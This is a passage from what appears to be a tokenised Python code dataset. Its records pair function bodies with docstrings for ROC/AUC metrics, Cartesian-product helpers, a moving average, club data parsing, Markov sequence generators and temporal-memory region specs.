estimates of\n        the positive class, confidence values, or binary decisions.\n\n    Returns\n    -------\n    fpr : array, shape = [>2]\n        False Positive Rates\n\n    tpr : array, shape = [>2]\n        True Positive Rates\n\n    thresholds : array, shape = [>2]\n        Thresholds on y_score used to compute fpr and tpr\n\n    Examples\n    --------\n    >>> import numpy as np\n    >>> from sklearn import metrics\n    >>> y = np.array([1, 1, 2, 2])\n    >>> scores = np.array([0.1, 0.4, 0.35, 0.8])\n    >>> fpr, tpr, thresholds = metrics.roc_curve(y, scores)\n    >>> fpr\n    array([ 0. ,  0.5,  0.5,  1. ])\n\n    References\n    ----------\n    http://en.wikipedia.org/wiki/Receiver_operating_characteristic", "id": "f17609:m0"}
{"signature": "def AreaUnderCurve(x, y):", "body": "<EOL>if x.shape[<NUM_LIT:0>] != y.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (x.shape, y.shape))<EOL><DEDENT>if x.shape[<NUM_LIT:0>] < <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % x.shape)<EOL><DEDENT>order = np.argsort(x)<EOL>x = x[order]<EOL>y = y[order]<EOL>h = np.diff(x)<EOL>area = np.sum(h * (y[<NUM_LIT:1>:] + y[:-<NUM_LIT:1>])) / <NUM_LIT><EOL>return area<EOL>", "docstring": "Compute Area Under the Curve (AUC) using the trapezoidal rule\n\n    Parameters\n    ----------\n    x : array, shape = [n]\n        x coordinates\n\n    y : array, shape = [n]\n        y coordinates\n\n    Returns\n    -------\n    auc : float\n\n    Examples\n    --------\n    >>> import numpy as np\n    >>> from sklearn import metrics\n    >>> y = np.array([1, 1, 2, 2])\n    >>> pred = np.array([0.1, 0.4, 0.35, 0.8])\n    >>> fpr, tpr, thresholds = metrics.roc_curve(y, pred)\n    >>> metrics.auc(fpr, tpr)\n    0.75", "id": "f17609:m1"}
{"signature": "def cross_list(*sequences):", "body": "result = [[ ]]<EOL>for seq in sequences:<EOL><INDENT>result = [sublist+[item] for sublist in result for item in seq]<EOL><DEDENT>return result<EOL>", "docstring": "From: http://book.opensourceproject.org.cn/lamp/python/pythoncook2/opensource/0596007973/pythoncook2-chp-19-sect-9.html", "id": "f17610:m0"}
{"signature": "def cross(*sequences):", "body": "<EOL>wheels = map(iter, sequences)<EOL>digits = [it.next( ) for it in wheels]<EOL>while True:<EOL><INDENT>yield tuple(digits)<EOL>for i in range(len(digits)-<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>try:<EOL><INDENT>digits[i] = wheels[i].next( )<EOL>break<EOL><DEDENT>except StopIteration:<EOL><INDENT>wheels[i] = iter(sequences[i])<EOL>digits[i] = wheels[i].next( )<EOL><DEDENT><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "From: http://book.opensourceproject.org.cn/lamp/python/pythoncook2/opensource/0596007973/pythoncook2-chp-19-sect-9.html", "id": "f17610:m1"}
{"signature": "def dcross(**keywords):", "body": "keys = keywords.keys()<EOL>sequences = [keywords[key] for key in keys]<EOL>wheels = map(iter, sequences)<EOL>digits = [it.next( ) for it in wheels]<EOL>while True:<EOL><INDENT>yield dict(zip(keys, digits))<EOL>for i in range(len(digits)-<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>try:<EOL><INDENT>digits[i] = wheels[i].next( )<EOL>break<EOL><DEDENT>except StopIteration:<EOL><INDENT>wheels[i] = iter(sequences[i])<EOL>digits[i] = wheels[i].next( )<EOL><DEDENT><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Similar to cross(), but generates output dictionaries instead of tuples.", "id": "f17610:m2"}
{"signature": "def __init__(self, windowSize, existingHistoricalValues=None):", "body": "if not isinstance(windowSize, numbers.Integral):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if  windowSize <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.windowSize = windowSize<EOL>if existingHistoricalValues is not None:<EOL><INDENT>self.slidingWindow = existingHistoricalValues[<EOL>len(existingHistoricalValues)-windowSize:]<EOL><DEDENT>else:<EOL><INDENT>self.slidingWindow = []<EOL><DEDENT>self.total = float(sum(self.slidingWindow))<EOL>", "docstring": "new instance of MovingAverage, so method .next() can be used\n@param windowSize - length of sliding window\n@param existingHistoricalValues - construct the object with already\n    some values in it.", "id": "f17611:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def compute(slidingWindow, total, newVal, windowSize):<DEDENT>", "body": "if len(slidingWindow) == windowSize:<EOL><INDENT>total -= slidingWindow.pop(<NUM_LIT:0>)<EOL><DEDENT>slidingWindow.append(newVal)<EOL>total += newVal<EOL>return float(total) / len(slidingWindow), slidingWindow, total<EOL>", "docstring": "Routine for computing a moving average.\n\n        @param slidingWindow a list of previous values to use in computation that\n            will be modified and returned\n        @param total the sum of the values in slidingWindow to be used in the\n            calculation of the moving average\n        @param newVal a new number compute the new windowed average\n        @param windowSize how many values to use in the moving window\n\n        @returns an updated windowed average, the modified input slidingWindow list,\n            and the new total sum of the sliding window", "id": "f17611:c0:m1"}
{"signature": "def next(self, newValue):", "body": "newAverage, self.slidingWindow, self.total = self.compute(<EOL>self.slidingWindow, self.total, newValue, self.windowSize)<EOL>return newAverage<EOL>", "docstring": "Instance method wrapper around compute.", "id": "f17611:c0:m2"}
{"signature": "def getCurrentAvg(self):", "body": "return float(self.total) / len(self.slidingWindow)<EOL>", "docstring": "get current average", "id": "f17611:c0:m4"}
{"signature": "def __setstate__(self, state):", "body": "self.__dict__.update(state)<EOL>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self.slidingWindow = []<EOL><DEDENT>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self.total = <NUM_LIT:0><EOL>self.slidingWindow = sum(self.slidingWindow)<EOL><DEDENT>", "docstring": "for loading this object", "id": "f17611:c0:m5"}
{"signature": "def processClubAttendance(f, clubs):", "body": "try:<EOL><INDENT>line = next(f)<EOL>while line == '<STR_LIT>':<EOL><INDENT>line = next(f)<EOL><DEDENT>name = line.split('<STR_LIT:U+002C>')[<NUM_LIT:0>]<EOL>if name not in clubs:<EOL><INDENT>clubs[name] = Club(name)<EOL><DEDENT>c = clubs[name]<EOL>c.processAttendance(f)      <EOL>return True<EOL><DEDENT>except StopIteration:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Process the attendance data of one club\n\n    If the club already exists in the list update its data.\n    If the club is new create a new Club object and add it to the dict\n\n    The next step is to iterate over all the lines and add a record for each line.\n    When reaching an empty line it means there are no more records for this club.\n\n    Along the way some redundant lines are skipped. When the file ends the f.next()\n    call raises a StopIteration exception and that's the sign to return False,\n    which indicates to the caller that there are no more clubs to process.", "id": "f17614:m0"}
{"signature": "def processClubConsumption(f, clubs):", "body": "try:<EOL><INDENT>line = next(f)<EOL>assert line.endswith('<STR_LIT>')<EOL>valid_times = list(range(<NUM_LIT>))<EOL>t = <NUM_LIT:0> <EOL>club = None<EOL>clubName = None<EOL>lastDate = None<EOL>while True:<EOL><INDENT>assert t in valid_times<EOL>consumption = <NUM_LIT:0><EOL>for x in range(<NUM_LIT:4>):<EOL><INDENT>line = f.next()[:-<NUM_LIT:1>]<EOL>fields = line.split('<STR_LIT:U+002C>')<EOL>assert len(fields) == <NUM_LIT:4><EOL>for i, field in enumerate(fields):<EOL><INDENT>assert field[<NUM_LIT:0>] == '<STR_LIT:\">' and field[-<NUM_LIT:1>] == '<STR_LIT:\">'<EOL>fields[i] = field[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>name = fields[<NUM_LIT:1>]<EOL>partialNames = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>for pn in partialNames:<EOL><INDENT>if pn in name:<EOL><INDENT>name = pn<EOL><DEDENT><DEDENT>if name != clubName:<EOL><INDENT>clubName = name<EOL>club = clubs[name]<EOL><DEDENT>tokens = fields[<NUM_LIT:2>].split()<EOL>if len(tokens) == <NUM_LIT:1>:<EOL><INDENT>assert consumption == <NUM_LIT:0> and t == <NUM_LIT:0><EOL><DEDENT>date = tokens[<NUM_LIT:0>]<EOL>consumption += float(fields[<NUM_LIT:3>])<EOL><DEDENT>club.updateRecord(date, t, consumption)<EOL>t += <NUM_LIT:1><EOL>t %= <NUM_LIT><EOL><DEDENT><DEDENT>except StopIteration:<EOL><INDENT>return<EOL><DEDENT>", "docstring": "Process the consumption a club\n\n    - Skip the header line\n    - Iterate over lines\n      - Read 4 records at a time\n        - Parse each line: club, date, time, consumption\n        - Get club object from dictionary if needed\n        - Aggregate consumption\n      - Call club.processConsumption() with data", "id": "f17614:m1"}
{"signature": "def _generateModel0(numCategories):", "body": "<EOL>initProb = numpy.zeros(numCategories)<EOL>initProb[<NUM_LIT:0>] = <NUM_LIT:0.5><EOL>initProb[<NUM_LIT:4>] = <NUM_LIT:0.5><EOL>firstOrder = dict()<EOL>for catIdx in range(numCategories):<EOL><INDENT>key = str([catIdx])<EOL>probs = numpy.ones(numCategories) / numCategories<EOL>if catIdx == <NUM_LIT:0> or catIdx == <NUM_LIT:4>:<EOL><INDENT>probs.fill(<NUM_LIT:0>)<EOL>probs[<NUM_LIT:1>] = <NUM_LIT:1.0>    <EOL><DEDENT>firstOrder[key] = probs<EOL><DEDENT>secondOrder = dict()<EOL>for firstIdx in range(numCategories):<EOL><INDENT>for secondIdx in range(numCategories):<EOL><INDENT>key = str([firstIdx, secondIdx])<EOL>probs = numpy.ones(numCategories) / numCategories<EOL>if key == str([<NUM_LIT:0>,<NUM_LIT:1>]):<EOL><INDENT>probs.fill(<NUM_LIT:0>)<EOL>probs[<NUM_LIT:2>] = <NUM_LIT>   <EOL>probs[<NUM_LIT:3>] = <NUM_LIT>   <EOL><DEDENT>elif key == str([<NUM_LIT:4>,<NUM_LIT:1>]):<EOL><INDENT>probs.fill(<NUM_LIT:0>)<EOL>probs[<NUM_LIT:2>] = <NUM_LIT>   <EOL>probs[<NUM_LIT:3>] = <NUM_LIT>   <EOL><DEDENT>secondOrder[key] = probs<EOL><DEDENT><DEDENT>return (initProb, firstOrder, secondOrder, <NUM_LIT:3>)<EOL>", "docstring": "Generate the initial, first order, and second order transition\n    probabilities for 'model0'. For this model, we generate the following\n    set of sequences:\n\n    1-2-3   (4X)\n    1-2-4   (1X)\n    5-2-3   (1X)\n    5-2-4   (4X)\n\n\n    Parameters:\n    ----------------------------------------------------------------------\n    numCategories:      Number of categories\n    retval: (initProb, firstOrder, secondOrder, seqLen)\n              initProb:     Initial probability for each category. This is a vector\n                              of length len(categoryList).\n              firstOrder:   A dictionary of the 1st order probabilities. The key\n                              is the 1st element of the sequence, the value is\n                              the probability of each 2nd element given the first. \n              secondOrder:  A dictionary of the 2nd order probabilities. The key\n                              is the first 2 elements of the sequence, the value is\n                              the probability of each possible 3rd element given the \n                              first two. \n              seqLen:       Desired length of each sequence. The 1st element will\n                            be generated using the initProb, the 2nd element by the\n                            firstOrder table, and the 3rd and all successive \n                            elements by the secondOrder table. \n\n\n    Here is an example of some return values:\n    initProb:         [0.7, 0.2, 0.1]\n\n    firstOrder:       {'[0]': [0.3, 0.3, 0.4],\n                       '[1]': [0.3, 0.3, 0.4],\n                       '[2]': [0.3, 0.3, 0.4]}\n\n    secondOrder:      {'[0,0]': [0.3, 0.3, 0.4],\n                       '[0,1]': [0.3, 0.3, 0.4],\n                       '[0,2]': [0.3, 0.3, 0.4],\n                       '[1,0]': [0.3, 0.3, 0.4],\n                       '[1,1]': [0.3, 0.3, 0.4],\n                       '[1,2]': [0.3, 0.3, 0.4],\n                       '[2,0]': [0.3, 0.3, 0.4],\n                       '[2,1]': [0.3, 0.3, 0.4],\n                       '[2,2]': [0.3, 0.3, 0.4]}", "id": "f17616:m0"}
{"signature": "def _generateModel1(numCategories):", "body": "<EOL>initProb = numpy.zeros(numCategories)<EOL>initProb[<NUM_LIT:0>] = <NUM_LIT:0.5><EOL>initProb[<NUM_LIT:1>] = <NUM_LIT:0.5><EOL>firstOrder = dict()<EOL>for catIdx in range(numCategories):<EOL><INDENT>key = str([catIdx])<EOL>probs = numpy.ones(numCategories) / numCategories<EOL>if catIdx == <NUM_LIT:0> or catIdx == <NUM_LIT:1>:<EOL><INDENT>indices = numpy.array([<NUM_LIT:10>,<NUM_LIT:11>,<NUM_LIT:12>,<NUM_LIT>,<NUM_LIT>])<EOL>probs.fill(<NUM_LIT:0>)<EOL>probs[indices] = <NUM_LIT:1.0>    <EOL>probs /= probs.sum()<EOL><DEDENT>firstOrder[key] = probs<EOL><DEDENT>secondOrder = dict()<EOL>for firstIdx in range(numCategories):<EOL><INDENT>for secondIdx in range(numCategories):<EOL><INDENT>key = str([firstIdx, secondIdx])<EOL>probs = numpy.ones(numCategories) / numCategories<EOL>if key == str([<NUM_LIT:0>,<NUM_LIT:10>]):<EOL><INDENT>probs.fill(<NUM_LIT:0>)<EOL>probs[<NUM_LIT:15>] = <NUM_LIT:1><EOL><DEDENT>elif key == str([<NUM_LIT:0>,<NUM_LIT:11>]):<EOL><INDENT>probs.fill(<NUM_LIT:0>)<EOL>probs[<NUM_LIT:16>] = <NUM_LIT:1><EOL><DEDENT>elif key == str([<NUM_LIT:0>,<NUM_LIT:12>]):<EOL><INDENT>probs.fill(<NUM_LIT:0>)<EOL>probs[<NUM_LIT>] = <NUM_LIT:1><EOL><DEDENT>elif key == str([<NUM_LIT:0>,<NUM_LIT>]):<EOL><INDENT>probs.fill(<NUM_LIT:0>)<EOL>probs[<NUM_LIT>] = <NUM_LIT:1><EOL><DEDENT>elif key == str([<NUM_LIT:0>,<NUM_LIT>]):<EOL><INDENT>probs.fill(<NUM_LIT:0>)<EOL>probs[<NUM_LIT>] = <NUM_LIT:1><EOL><DEDENT>elif key == str([<NUM_LIT:1>,<NUM_LIT:10>]):<EOL><INDENT>probs.fill(<NUM_LIT:0>)<EOL>probs[<NUM_LIT:20>] = <NUM_LIT:1><EOL><DEDENT>elif key == str([<NUM_LIT:1>,<NUM_LIT:11>]):<EOL><INDENT>probs.fill(<NUM_LIT:0>)<EOL>probs[<NUM_LIT>] = <NUM_LIT:1><EOL><DEDENT>elif key == str([<NUM_LIT:1>,<NUM_LIT:12>]):<EOL><INDENT>probs.fill(<NUM_LIT:0>)<EOL>probs[<NUM_LIT>] = <NUM_LIT:1><EOL><DEDENT>elif key == str([<NUM_LIT:1>,<NUM_LIT>]):<EOL><INDENT>probs.fill(<NUM_LIT:0>)<EOL>probs[<NUM_LIT>] = <NUM_LIT:1><EOL><DEDENT>elif key == str([<NUM_LIT:1>,<NUM_LIT>]):<EOL><INDENT>probs.fill(<NUM_LIT:0>)<EOL>probs[<NUM_LIT>] = <NUM_LIT:1><EOL><DEDENT>secondOrder[key] = probs<EOL><DEDENT><DEDENT>return (initProb, firstOrder, secondOrder, <NUM_LIT:3>)<EOL>", "docstring": "Generate the initial, first order, and second order transition\n    probabilities for 'model1'. For this model, we generate the following\n    set of sequences:\n\n    0-10-15 (1X)\n    0-11-16 (1X)\n    0-12-17 (1X)\n    0-13-18 (1X)\n    0-14-19 (1X)\n\n    1-10-20 (1X)\n    1-11-21 (1X)\n    1-12-22 (1X)\n    1-13-23 (1X)\n    1-14-24 (1X)\n\n\n    Parameters:\n    ----------------------------------------------------------------------\n    numCategories:      Number of categories\n    retval: (initProb, firstOrder, secondOrder, seqLen)\n              initProb:     Initial probability for each category. This is a vector\n                              of length len(categoryList).\n              firstOrder:   A dictionary of the 1st order probabilities. The key\n                              is the 1st element of the sequence, the value is\n                              the probability of each 2nd element given the first. \n              secondOrder:  A dictionary of the 2nd order probabilities. The key\n                              is the first 2 elements of the sequence, the value is\n                              the probability of each possible 3rd element given the \n                              first two. \n              seqLen:       Desired length of each sequence. The 1st element will\n                            be generated using the initProb, the 2nd element by the\n                            firstOrder table, and the 3rd and all successive \n                            elements by the secondOrder table. \n\n\n    Here is an example of some return values:\n    initProb:         [0.7, 0.2, 0.1]\n\n    firstOrder:       {'[0]': [0.3, 0.3, 0.4],\n                       '[1]': [0.3, 0.3, 0.4],\n                       '[2]': [0.3, 0.3, 0.4]}\n\n    secondOrder:      {'[0,0]': [0.3, 0.3, 0.4],\n                       '[0,1]': [0.3, 0.3, 0.4],\n                       '[0,2]': [0.3, 0.3, 0.4],\n                       '[1,0]': [0.3, 0.3, 0.4],\n                       '[1,1]': [0.3, 0.3, 0.4],\n                       '[1,2]': [0.3, 0.3, 0.4],\n                       '[2,0]': [0.3, 0.3, 0.4],\n                       '[2,1]': [0.3, 0.3, 0.4],\n                       '[2,2]': [0.3, 0.3, 0.4]}", "id": "f17616:m1"}
{"signature": "def _generateModel2(numCategories, alpha=<NUM_LIT>):", "body": "<EOL>initProb = numpy.ones(numCategories)/numCategories<EOL>def generatePeakedProbabilities(lastIdx,<EOL>numCategories=numCategories, <EOL>alpha=alpha):<EOL><INDENT>probs = numpy.random.dirichlet(alpha=[alpha]*numCategories)<EOL>probs[lastIdx] = <NUM_LIT:0.0><EOL>probs /= probs.sum()<EOL>return probs <EOL><DEDENT>firstOrder = dict()<EOL>for catIdx in range(numCategories):<EOL><INDENT>key = str([catIdx])<EOL>probs = generatePeakedProbabilities(catIdx) <EOL>firstOrder[key] = probs<EOL><DEDENT>secondOrder = dict()<EOL>for firstIdx in range(numCategories):<EOL><INDENT>for secondIdx in range(numCategories):<EOL><INDENT>key = str([firstIdx, secondIdx])<EOL>probs = generatePeakedProbabilities(secondIdx) <EOL>secondOrder[key] = probs<EOL><DEDENT><DEDENT>return (initProb, firstOrder, secondOrder, None)<EOL>", "docstring": "Generate the initial, first order, and second order transition\n    probabilities for 'model2'. For this model, we generate peaked random \n    transitions using dirichlet distributions. \n\n    Parameters:\n    ----------------------------------------------------------------------\n    numCategories:      Number of categories\n    alpha:              Determines the peakedness of the transitions. Low alpha \n                        values (alpha=0.01) place the entire weight on a single \n                        transition. Large alpha values (alpha=10) distribute the \n                        evenly among all transitions. Intermediate values (alpha=0.5)\n                        give a moderately peaked transitions. \n    retval: (initProb, firstOrder, secondOrder, seqLen)\n              initProb:     Initial probability for each category. This is a vector\n                              of length len(categoryList).\n              firstOrder:   A dictionary of the 1st order probabilities. The key\n                              is the 1st element of the sequence, the value is\n                              the probability of each 2nd element given the first. \n              secondOrder:  A dictionary of the 2nd order probabilities. The key\n                              is the first 2 elements of the sequence, the value is\n                              the probability of each possible 3rd element given the \n                              first two. \n              seqLen:       Desired length of each sequence. The 1st element will\n                            be generated using the initProb, the 2nd element by the\n                            firstOrder table, and the 3rd and all successive \n                            elements by the secondOrder table. None means infinite\n                            length. \n\n\n    Here is an example of some return values for an intermediate alpha value:\n    initProb:         [0.33, 0.33, 0.33]\n\n    firstOrder:       {'[0]': [0.2, 0.7, 0.1],\n                       '[1]': [0.1, 0.1, 0.8],\n                       '[2]': [0.1, 0.0, 0.9]}\n\n    secondOrder:      {'[0,0]': [0.1, 0.0, 0.9],\n                       '[0,1]': [0.0, 0.2, 0.8],\n                       '[0,2]': [0.1, 0.8, 0.1],\n                       ...\n                       '[2,2]': [0.8, 0.2, 0.0]}", "id": "f17616:m2"}
{"signature": "def _generateFile(filename, numRecords, categoryList, initProb, <EOL>firstOrderProb, secondOrderProb, seqLen, numNoise=<NUM_LIT:0>, resetsEvery=None):", "body": "<EOL>print(\"<STR_LIT>\" % (filename))<EOL>fields = [('<STR_LIT>', '<STR_LIT:int>', '<STR_LIT:R>'), ('<STR_LIT:name>', '<STR_LIT:string>', '<STR_LIT>')]<EOL>outFile = FileRecordStream(filename, write=True, fields=fields)<EOL>initCumProb = initProb.cumsum()<EOL>firstOrderCumProb = dict()<EOL>for (key,value) in firstOrderProb.items():<EOL><INDENT>firstOrderCumProb[key] = value.cumsum()<EOL><DEDENT>secondOrderCumProb = dict()<EOL>for (key,value) in secondOrderProb.items():<EOL><INDENT>secondOrderCumProb[key] = value.cumsum()<EOL><DEDENT>elementsInSeq = []<EOL>numElementsSinceReset = <NUM_LIT:0><EOL>maxCatIdx = len(categoryList) - <NUM_LIT:1><EOL>for i in range(numRecords):<EOL><INDENT>if numElementsSinceReset == <NUM_LIT:0>:<EOL><INDENT>reset = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>reset = <NUM_LIT:0><EOL><DEDENT>rand = numpy.random.rand()<EOL>if len(elementsInSeq) == <NUM_LIT:0>:<EOL><INDENT>catIdx = numpy.searchsorted(initCumProb, rand)<EOL><DEDENT>elif len(elementsInSeq) == <NUM_LIT:1>:<EOL><INDENT>catIdx = numpy.searchsorted(firstOrderCumProb[str(elementsInSeq)], rand)<EOL><DEDENT>elif (len(elementsInSeq) >=<NUM_LIT:2>) and(seqLen is None or len(elementsInSeq) < seqLen-numNoise):<EOL><INDENT>catIdx = numpy.searchsorted(secondOrderCumProb[str(elementsInSeq[-<NUM_LIT:2>:])], rand)<EOL><DEDENT>else:   <EOL><INDENT>catIdx = numpy.random.randint(len(categoryList))<EOL><DEDENT>catIdx = min(maxCatIdx, catIdx)<EOL>outFile.appendRecord([reset,categoryList[catIdx]])    <EOL>elementsInSeq.append(catIdx)<EOL>numElementsSinceReset += <NUM_LIT:1><EOL>if resetsEvery is not None and numElementsSinceReset == resetsEvery:<EOL><INDENT>numElementsSinceReset = <NUM_LIT:0><EOL>elementsInSeq = []<EOL><DEDENT>if seqLen is not None and (len(elementsInSeq) == seqLen+numNoise):<EOL><INDENT>elementsInSeq = []<EOL><DEDENT><DEDENT>outFile.close()<EOL>", "docstring": "Generate a set of records reflecting a set of probabilities.\n\n    Parameters:\n    ----------------------------------------------------------------\n    filename:         name of .csv file to generate\n    numRecords:       number of records to generate\n    categoryList:     list of category names\n    initProb:         Initial probability for each category. This is a vector\n                        of length len(categoryList).\n    firstOrderProb:   A dictionary of the 1st order probabilities. The key\n                        is the 1st element of the sequence, the value is\n                        the probability of each 2nd element given the first. \n    secondOrderProb:  A dictionary of the 2nd order probabilities. The key\n                        is the first 2 elements of the sequence, the value is\n                        the probability of each possible 3rd element given the \n                        first two. \n    seqLen:           Desired length of each sequence. The 1st element will\n                        be generated using the initProb, the 2nd element by the\n                        firstOrder table, and the 3rd and all successive \n                        elements by the secondOrder table. None means infinite\n                        length. \n    numNoise:         Number of noise elements to place between each \n                        sequence. The noise elements are evenly distributed from \n                        all categories. \n    resetsEvery:      If not None, generate a reset every N records\n\n\n    Here is an example of some parameters:\n\n    categoryList:     ['cat1', 'cat2', 'cat3']\n\n    initProb:         [0.7, 0.2, 0.1]\n\n    firstOrderProb:   {'[0]': [0.3, 0.3, 0.4],\n                       '[1]': [0.3, 0.3, 0.4],\n                       '[2]': [0.3, 0.3, 0.4]}\n\n    secondOrderProb:  {'[0,0]': [0.3, 0.3, 0.4],\n                       '[0,1]': [0.3, 0.3, 0.4],\n                       '[0,2]': [0.3, 0.3, 0.4],\n                       '[1,0]': [0.3, 0.3, 0.4],\n                       '[1,1]': [0.3, 0.3, 0.4],\n                       '[1,2]': [0.3, 0.3, 0.4],\n                       '[2,0]': [0.3, 0.3, 0.4],\n                       '[2,1]': [0.3, 0.3, 0.4],\n                       '[2,2]': [0.3, 0.3, 0.4]}", "id": "f17616:m3"}
{"signature": "def _generateFile(filename, data):", "body": "<EOL>print(\"<STR_LIT>\" % (filename))<EOL>numRecords, numFields = data.shape<EOL>fields = [('<STR_LIT>'%(i+<NUM_LIT:1>), '<STR_LIT:float>', '<STR_LIT>') for i in range(numFields)]<EOL>outFile = File(filename, fields)<EOL>for i in range(numRecords):<EOL><INDENT>outFile.write(data[i].tolist())<EOL><DEDENT>outFile.close()<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------\nfilename:         name of .csv file to generate", "id": "f17617:m4"}
{"signature": "def _getTPClass(temporalImp):", "body": "if temporalImp == '<STR_LIT>':<EOL><INDENT>return backtracking_tm.BacktrackingTM<EOL><DEDENT>elif temporalImp == '<STR_LIT>':<EOL><INDENT>return backtracking_tm_cpp.BacktrackingTMCPP<EOL><DEDENT>elif temporalImp == '<STR_LIT>':<EOL><INDENT>return backtracking_tm_shim.TMShim<EOL><DEDENT>elif temporalImp == '<STR_LIT>':<EOL><INDENT>return backtracking_tm_shim.TMCPPShim<EOL><DEDENT>elif temporalImp == '<STR_LIT>':<EOL><INDENT>return backtracking_tm_shim.MonitoredTMShim<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (temporalImp))<EOL><DEDENT>", "docstring": "Return the class corresponding to the given temporalImp string", "id": "f17618:m0"}
{"signature": "def _buildArgs(f, self=None, kwargs={}):", "body": "<EOL>argTuples = getArgumentDescriptions(f)<EOL>argTuples = argTuples[<NUM_LIT:1>:]  <EOL>init = TMRegion.__init__<EOL>ourArgNames = [t[<NUM_LIT:0>] for t in getArgumentDescriptions(init)]<EOL>ourArgNames += [<EOL>'<STR_LIT>',    <EOL>]<EOL>for argTuple in argTuples[:]:<EOL><INDENT>if argTuple[<NUM_LIT:0>] in ourArgNames:<EOL><INDENT>argTuples.remove(argTuple)<EOL><DEDENT><DEDENT>if self:<EOL><INDENT>for argTuple in argTuples:<EOL><INDENT>argName = argTuple[<NUM_LIT:0>]<EOL>if argName in kwargs:<EOL><INDENT>argValue = kwargs.pop(argName)<EOL><DEDENT>else:<EOL><INDENT>if len(argTuple) == <NUM_LIT:2>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % argName)<EOL><DEDENT>argValue = argTuple[<NUM_LIT:2>]<EOL><DEDENT>setattr(self, argName, argValue)<EOL><DEDENT><DEDENT>return argTuples<EOL>", "docstring": "Get the default arguments from the function and assign as instance vars.\n\nReturn a list of 3-tuples with (name, description, defaultValue) for each\n  argument to the function.\n\nAssigns all arguments to the function as instance variables of TMRegion.\nIf the argument was not provided, uses the default value.\n\nPops any values from kwargs that go to the function.", "id": "f17618:m1"}
{"signature": "def _getAdditionalSpecs(temporalImp, kwargs={}):", "body": "typeNames = {int: '<STR_LIT>', float: '<STR_LIT>', str: '<STR_LIT>', bool: '<STR_LIT:bool>', tuple: '<STR_LIT>'}<EOL>def getArgType(arg):<EOL><INDENT>t = typeNames.get(type(arg), '<STR_LIT>')<EOL>count = <NUM_LIT:0> if t == '<STR_LIT>' else <NUM_LIT:1><EOL>if t == '<STR_LIT>':<EOL><INDENT>t = typeNames.get(type(arg[<NUM_LIT:0>]), '<STR_LIT>')<EOL>count = len(arg)<EOL><DEDENT>if t == '<STR_LIT:bool>':<EOL><INDENT>t = '<STR_LIT>'<EOL><DEDENT>return (t, count)<EOL><DEDENT>def getConstraints(arg):<EOL><INDENT>t = typeNames.get(type(arg), '<STR_LIT>')<EOL>if t == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif t == '<STR_LIT:bool>':<EOL><INDENT>return '<STR_LIT:bool>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>TemporalClass = _getTPClass(temporalImp)<EOL>tArgTuples = _buildArgs(TemporalClass.__init__)<EOL>temporalSpec = {}<EOL>for argTuple in tArgTuples:<EOL><INDENT>d = dict(<EOL>description=argTuple[<NUM_LIT:1>],<EOL>accessMode='<STR_LIT>',<EOL>dataType=getArgType(argTuple[<NUM_LIT:2>])[<NUM_LIT:0>],<EOL>count=getArgType(argTuple[<NUM_LIT:2>])[<NUM_LIT:1>],<EOL>constraints=getConstraints(argTuple[<NUM_LIT:2>]))<EOL>temporalSpec[argTuple[<NUM_LIT:0>]] = d<EOL><DEDENT>temporalSpec.update(dict(<EOL>columnCount=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>'),<EOL>cellsPerColumn=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>'),<EOL>inputWidth=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>'),<EOL>predictedSegmentDecrement=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>'),<EOL>orColumnOutputs=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>'),<EOL>cellsSavePath=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>temporalImp=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>))<EOL>otherSpec = 